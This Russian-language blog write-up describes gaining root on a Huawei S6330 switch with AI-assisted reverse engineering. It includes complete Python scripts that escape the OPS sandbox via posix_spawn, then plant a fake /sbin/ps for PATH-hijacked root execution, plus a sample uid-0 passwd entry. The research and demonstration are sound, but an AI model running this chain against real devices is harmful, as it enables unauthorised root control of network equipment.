В прошлой статье было рассказано как “в три промпта” был получен shell для свитча SNR-2990X-24FQ (OEM DCN), в этой статье будет рассказано о более сложном реверс-инжиниринге свитча одного из топ-вендоров в мире сетевого оборудования. Несмотря на то, что сама прошивка уже устарела (ноябрь 2021 года), подобное оборудование всё ещё встречается в эксплуатации и область применимости описываемого метода, вероятно, значительно шире, чем один свитч с конкретной версией ПО. Что имеем на старте: свитч Huawei S6330-H48X6C, ПО V200R021C00SPC100, патч V200R021SPH180.

Дисклеймер: Описанный метод требует уже полученных административных прав на устройство и не позволяет выполнить код удалённо без предварительной аутентификации. Поэтому он рассматривается как исследовательский способ анализа устройства, а не как эксплуатация удалённой уязвимости.

В данной версии ПО shell запрещён, разрешён только небольшой список команд в режиме diagnose через команду shell-command.

Начало реверс-инжиниринга: скачиваем прошивку со свитча (.cc-файл), отдаём её DeepSeek v4 Pro (Ultra) (через родной для него kun-agent) на распаковку, аналогично тому, как это делалось в прошлой статье, каких-то специальных защит от распаковки нет, почти всё можно сделать одним binwalk, но deepseek потом рассортирует файлы и сделает описание к ним. Использовался DeepSeek потому что он очень дёшев и его способностей хватает на подобные задачи.

Далее, были использованы инструменты в порядке возрастания их стоимости: DeepSeek, Cursor Composer 2.5, затем GLM-5.2 (MAX) через ZCode. Первые два инструмента, проанализировав распакованную прошивку, не смогли предложить работающих вариантов, а GLM предложил перспективный вариант получения shell - на свитче есть подсистема OPS, в рамках которой можно запускать python-скрипты на свитче для автоматизации различных задач, например ZTP (zero touch provisioning). Казалось бы, заливаем python-скрипт и выполняем через него shell-команды, но данная подсистема является не просто исполнителем python-скриптов, а используется модифицированный python, в котором почти всё удалено, а доступ к файлам за пределами разрешённого списка, заблокирован, просто взять и вызвать os.execv() нельзя: её просто нет (как и других простых вариантов типа system() или popen()).

Далее используется только GLM. Просим ИИ сделать разведку (тестовым скриптом) и понять какие функции всё-таки удалены, а какие нет. Первая находка - os.posix_spawn не удалена, пробуем через неё запустить /bin/sh и здесь упираемся в следующее ограничение модифицированного python - в libpython3.8.so встроена проверка пути (ограниченный список путей, с которыми можно работать из скриптов) прямо в общую C-функцию, которую используют все методы os.* с path-аргументом. Разрешённый список путей: /mnt/flash, /mnt/sd, /mnt/usb, /mnt/vhdd, /mnt/squash, /usr/lib/, /dev/urandom. С /mnt/flash можно работать из родного CLI-свитча - заливать в него файлы, например, через ftp/sftp. Но если просто положить shell (busybox) в /mnt/flash, то у него не будет executable-бита и проставить его через родной CLI нельзя. Проблема решается одним из двух способов: залить busybox в /mnt/flash и потом через python-скрипт скопировать его, создав новый файл с executable-битом, либо скопировать его с родной ФС из /bin. Второй способ упирается в фильтрацию путей, но обходится тем, что она не применяется к встроенной функции open() (но применяется к os.open()). Скрипт создания bash (копирования busybox) в разрешённом каталоге для последующего его запуска через os.posix_spawn():

i.py (копирование busybox в разрешенный каталог)
import ops
import os

def ops_condition(_ops):
    _ops.timer.countdown("t", 3)
    return 0

def ops_execute(_ops):
    o = _ops
    src = "/bin/busybox.nosuid"
    dst = "/mnt/flash/$_user/bash"

    # Copy /bin/busybox.nosuid to whitelist path with exec bit.
    # - builtin open() reads any path (bypasses whitelist stat-patch)
    # - os.open in whitelist path creates file with mode 0o755 (exec bit)
    # - os.sendfile copies in-kernel (no OOM risk under 90MB cgroup)
    try:
        fin = open(src, "rb")
        sfd = fin.fileno()
        dfd = os.open(dst, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o755)
        total = 0
        while True:
            n = os.sendfile(dfd, sfd, None, 1048576)
            if n == 0:
                break
            total += n
        os.close(dfd)
        fin.close()
        o.syslog("COPY_OK bytes=%d" % total, ops.CRITICAL, ops.SYSLOG)
    except Exception as e:
        o.syslog("COPY_ERR " + repr(e)[:200], ops.CRITICAL, ops.SYSLOG)
        o.result(1)
        return 1

    o.result(0)
    return 0

Для тех кто не знаком с busybox и концепцией applet: если файл busybox назвать bash или ash, он будет работать как shell, а если назвать ls, то как ls, т.е. осуществлять листинг файлов. Обычно реализуется за счёт симлинков, но можно и путём копирования.

Процедура запуска скрипта на свитче:

# заливаем файл на свитч, далее
<HUAWEI>ops install file ftp/i.py
Info: The script file flash:/ftp/i.py is installed on the device successfully.
<HUAWEI>sys
[HUAWEI]ops
[HUAWEI-ops]script-assistant python i.py
Info: Executing user script... Please wait...
Info: The script assistant i.py is installed on the device successfully.

В логе видим такое сообщение:

%%01OPSA/2/SCRIPT_LOG(l)[0]:OPS: COPY_OK bytes=829144 (user="i.py", session=836255288)

Теперь воспользуемся скопированным “bash” через второй OPS-скрипт:

r.py (запуск команд: echo HELLO; id; uname -a; pwd)
import ops
import os
import time

def ops_condition(_ops):
    _ops.timer.countdown("t", 3)
    return 0

def ops_execute(_ops):
    o = _ops
    dst = "/mnt/flash/$_user/bash"
    out = "/mnt/flash/_cmd.out"

    # Run a shell command via busybox bash applet.
    # stdout+stderr captured to file via posix_spawn file_actions.
    # Result read back via builtin open() and logged via syslog.
    cmd = "echo HELLO; id; uname -a; pwd"

    try:
        os.unlink(out)
    except Exception:
        pass

    dfd = os.open(out, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644)
    actions = [
        (os.POSIX_SPAWN_DUP2, dfd, 1),
        (os.POSIX_SPAWN_DUP2, dfd, 2),
        (os.POSIX_SPAWN_CLOSE, dfd),
    ]
    argv = [dst, "-c", cmd]
    pid = os.posix_spawn(argv[0], argv, {}, file_actions=actions)
    os.close(dfd)

    deadline = time.time() + 3
    while time.time() < deadline:
        try:
            wpid, status = os.waitpid(pid, os.WNOHANG)
            if wpid != 0:
                break
        except ChildProcessError:
            break
        time.sleep(0.1)

    time.sleep(0.2)
    try:
        with open(out, "rb") as f:
            o.syslog("OUT " + repr(f.read(460)), ops.CRITICAL, ops.SYSLOG)
    except Exception as e:
        o.syslog("OUT_ERR " + repr(e)[:150], ops.CRITICAL, ops.SYSLOG)

    o.result(0)
    return 0

Деплой этого скрипта осуществляется точно также как и предыдущего, результат из лога:

%%01OPSA/2/SCRIPT_LOG(l)[0]:OPS: OUT b'HELLO\nuid=102(normal) gid=102(normalg) groups=0(root)\nLinux localhost 4.4.240 #1 SMP PREEMPT Fri Jul 2 17:52:12 CST 2021 aarch64 GNU/Linux\n/usr\n' (user="r.py", session=836255520)

Как видно, скрипт запускается не из-под root, а под пользователем normal (102).

Получение root shell сначала казалось простым, в прошивке есть скрипт IAM_Huawei_Comm.sh, который зачем-то назначает пользователя normal владельцем /etc/passwd (и не только на этот файл, а ещё множество других) и в него действительно можно добавить запись вида: attacker::0:0:attacker:/root:/bin/sh, но проблема в том, что неясно как этим потом пользоваться, ни у одного бинарника нет suid-бита. Можно также поправить скрипты запуска, на них тоже есть права у пользователя normal, но проблема в том, что всё это живёт в ramfs до следующей перезагрузки. GLM предлагает применить тяжёлую артиллерию и проверить несколько уязвимостей ядра (тем более что оно очень старое и за 5 лет их найдено немало). Проверять эти варианты слишком рискованно, потому что до свитча нет физического доступа и если зависнет или упадёт родной CLI, то потребуется времени на его восстановление. Несколько других нейросетей тоже не смогли предложить реалистичных альтернатив. Передав GLM идею о том, что часть команд доступна через shell-command из CLI свитча, далее убеждаемся в том, что эти команды выполняются из-под root, т.е. можно просто заменить какую-нибудь из этих команд на скрипт, который будет исполняться от root. Но GLM предложил более изящный вариант - сделать command hijacking (чтобы не заменять настоящий ps) и просто положить фейковый ps в /sbin, который в переменной PATH идёт раньше, чем /usr/bin (настоящий ps лежит в /usr/bin):

ps.py (создание фейкового ps в /sbin)
import ops
import os
import time

def ops_condition(_ops):
    _ops.timer.countdown("t", 3)
    return 0

def run_bash(bash, cmd, timeout=5):
    """Run cmd via bash, return (stdout+stderr) string."""
    out = "/mnt/flash/_cmd.out"
    try:
        os.unlink(out)
    except Exception:
        pass
    dfd = os.open(out, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644)
    actions = [
        (os.POSIX_SPAWN_DUP2, dfd, 1),
        (os.POSIX_SPAWN_DUP2, dfd, 2),
        (os.POSIX_SPAWN_CLOSE, dfd),
    ]
    argv = [bash, "-c", cmd]
    pid = os.posix_spawn(argv[0], argv, {}, file_actions=actions)
    os.close(dfd)
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            wpid, status = os.waitpid(pid, os.WNOHANG)
            if wpid != 0:
                break
        except ChildProcessError:
            break
        time.sleep(0.1)
    time.sleep(0.15)
    try:
        with open(out, "rb") as f:
            return f.read().decode("utf-8", "replace")
    except Exception as e:
        return "READ_ERR:" + repr(e)[:100]


def ops_execute(_ops):
    o = _ops
    bash = "/mnt/flash/$_user/bash"

    # /sbin/ps wrapper: run id, save proof, then call original ps
    ps_script = (
        '#!/bin/sh\n'
        '{ echo \'=== PS root TRIGGERED ===\'; id; '
        'echo \'=== PS root END ===\'; } > /mnt/flash/_root_proof_id 2>&1\n'
        '/bin/ps "$@"\n'
    )

    # Write payload to /mnt/flash/_ps_payload (whitelist path, no $ in name).
    # Using /mnt/flash root avoids $_user expansion problem in bash.
    tmp = "/mnt/flash/_ps_payload"
    try:
        fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644)
        os.write(fd, ps_script.encode())
        os.close(fd)
    except Exception as e:
        o.syslog("WRITE_ERR " + repr(e)[:200], ops.CRITICAL, ops.SYSLOG)
        o.result(1)
        return 1

    # Use bash to cp payload to /sbin/ps with exec bit.
    # /mnt/flash/_ps_payload has no $ so bash won't expand anything.
    # /sbin is writable by UID 102 and first in vos.o $PATH.
    result = run_bash(bash,
        "cp /mnt/flash/_ps_payload /sbin/ps && "
        "chmod 755 /sbin/ps && "
        "echo CREATED && ls -la /sbin/ps")
    o.syslog("DEPLOY " + result.strip()[:460], ops.CRITICAL, ops.SYSLOG)

    # Cleanup temp file
    try:
        os.unlink(tmp)
    except Exception:
        pass

    o.result(0)
    return 0

В логе получаем сообщение:

%%01OPSA/2/SCRIPT_LOG(l)[3]:OPS: DEPLOY CREATED
-rwxr-xr-x    1 normal   normalg        126 Aug  5 23:25 /sbin/ps (user="ps.py", session=836254824)

Проверка root shell:

[HUAWEI-diagnose]shell-command slot 0 ps
  PID TTY          TIME CMD
 1139 ttyS0    00:00:00 rc.user
 1199 ttyS0    00:00:00 init_mpu.sh
 2265 ttyS0    00:00:00 bootload_step2_
 2310 ttyS0    05:19:05 monitor
 2311 ttyS0    24-12:50:44 vos.o
15236 ttyS0    00:00:00 ps
15238 ttyS0    00:00:00 ps  <--- тут уже видно, что ps обёрнут

<HUAWEI>more _root_proof_id
=== PS root TRIGGERED ===
uid=0(root) gid=0(root) groups=0(root)
=== PS root END ===

Сделать обёртку, чтобы это было похоже на настоящий shell не составляет большой сложности, можно сделать как внешнюю, так и внутри CLI если в ops_condition использовать ops.cli.subscribe.

Итоговая схема получения root shell:

OPS Python sandbox
        |
        v
posix_spawn()
        |
        v
normal user execution
        |
        |
        +---- discover root CLI context
                    |
                    v
             CLI shell-command(root)
                    |
                    v
             command hijacking
                    |
                    v
             root execution

Выводы? При разработке ПО, люди до сих пор дискутируют о пользе и границах применения агентской разработки с LLM-ядром. Такие проблемы как когнитивный долг, длительное ревью сгенерированного кода людьми (на проектах со строгим ревью) и (всё реже) галлюцинации, невысокие показатели ускорения разработки по сравнению с разработкой без ИИ, нельзя просто так игнорировать. Но задача, описанная в данной статье, заведомо лишена этих проблем. Если root получен, то он получен и итогом будет небольшой документ и/или не очень много для его получения, а то что ИИ проверил сотню гипотез, половина из которых очевидно нерабочие, это не очень важно. Стоимость реверс-инжиниринга, осуществлённого в этой статье: около 1$ на токены deepseek и примерно 67% недельного лимита GLM Coding Plan Lite, что по текущим тарифам соответствует примерно трём долларам. Итого, около 4$ на токены/подписки и примерно 10 часов времени автора статьи, значительная часть которого была потрачена на наблюдение за тем, как ИИ ждёт таймауты и на попытки научить его более эффективно взаимодействовать с оборудованием и заставить запускать больше субагентов параллельно. В данной задаче применялся технический опыт автора статьи и действия ИИ корректировались, эксперимент по автономной работе до получения результата не проводился, токенов/ресурсов подписки было бы потрачено значительно больше, если совсем не корректировать действия ИИ. Бо́льшая часть рутинной работы была сделана ИИ.

P.S. В более современном продукте Huawei, а именно AR6700V-L с ПО V600R025C00SPC100, кроме модифицированного python в подсистеме OPS (в котором запрещено ещё больше), применяется также жёсткая изоляция с помощью kernel namespaces (т.е. контейнеризация). Автору статьи неизвестно, на каких именно продуктах и версиях ПО Huawei работает указанный метод получения root shell, такое тестирование не проводилось.

P.P.S. Кому-то эта статья интересна только со стороны процесса получения root shell и не интересно, какие LLM и агенты были использованы и сколько токенов потрачено, но в действительности она задумывалась именно для демонстрации того, насколько новые инструменты упрощают и ускоряют реверс-инжиниринг. Под капотом GLM/ZCode много дизассемблировал в целях поиска возможных вариантов и объяснения неудач, в классической статье было бы много связок кусок asm -> потенциальная возможность (или наоборот, тупик). Здесь это намеренно не описывается, считая это рутиной, делегированной ИИ.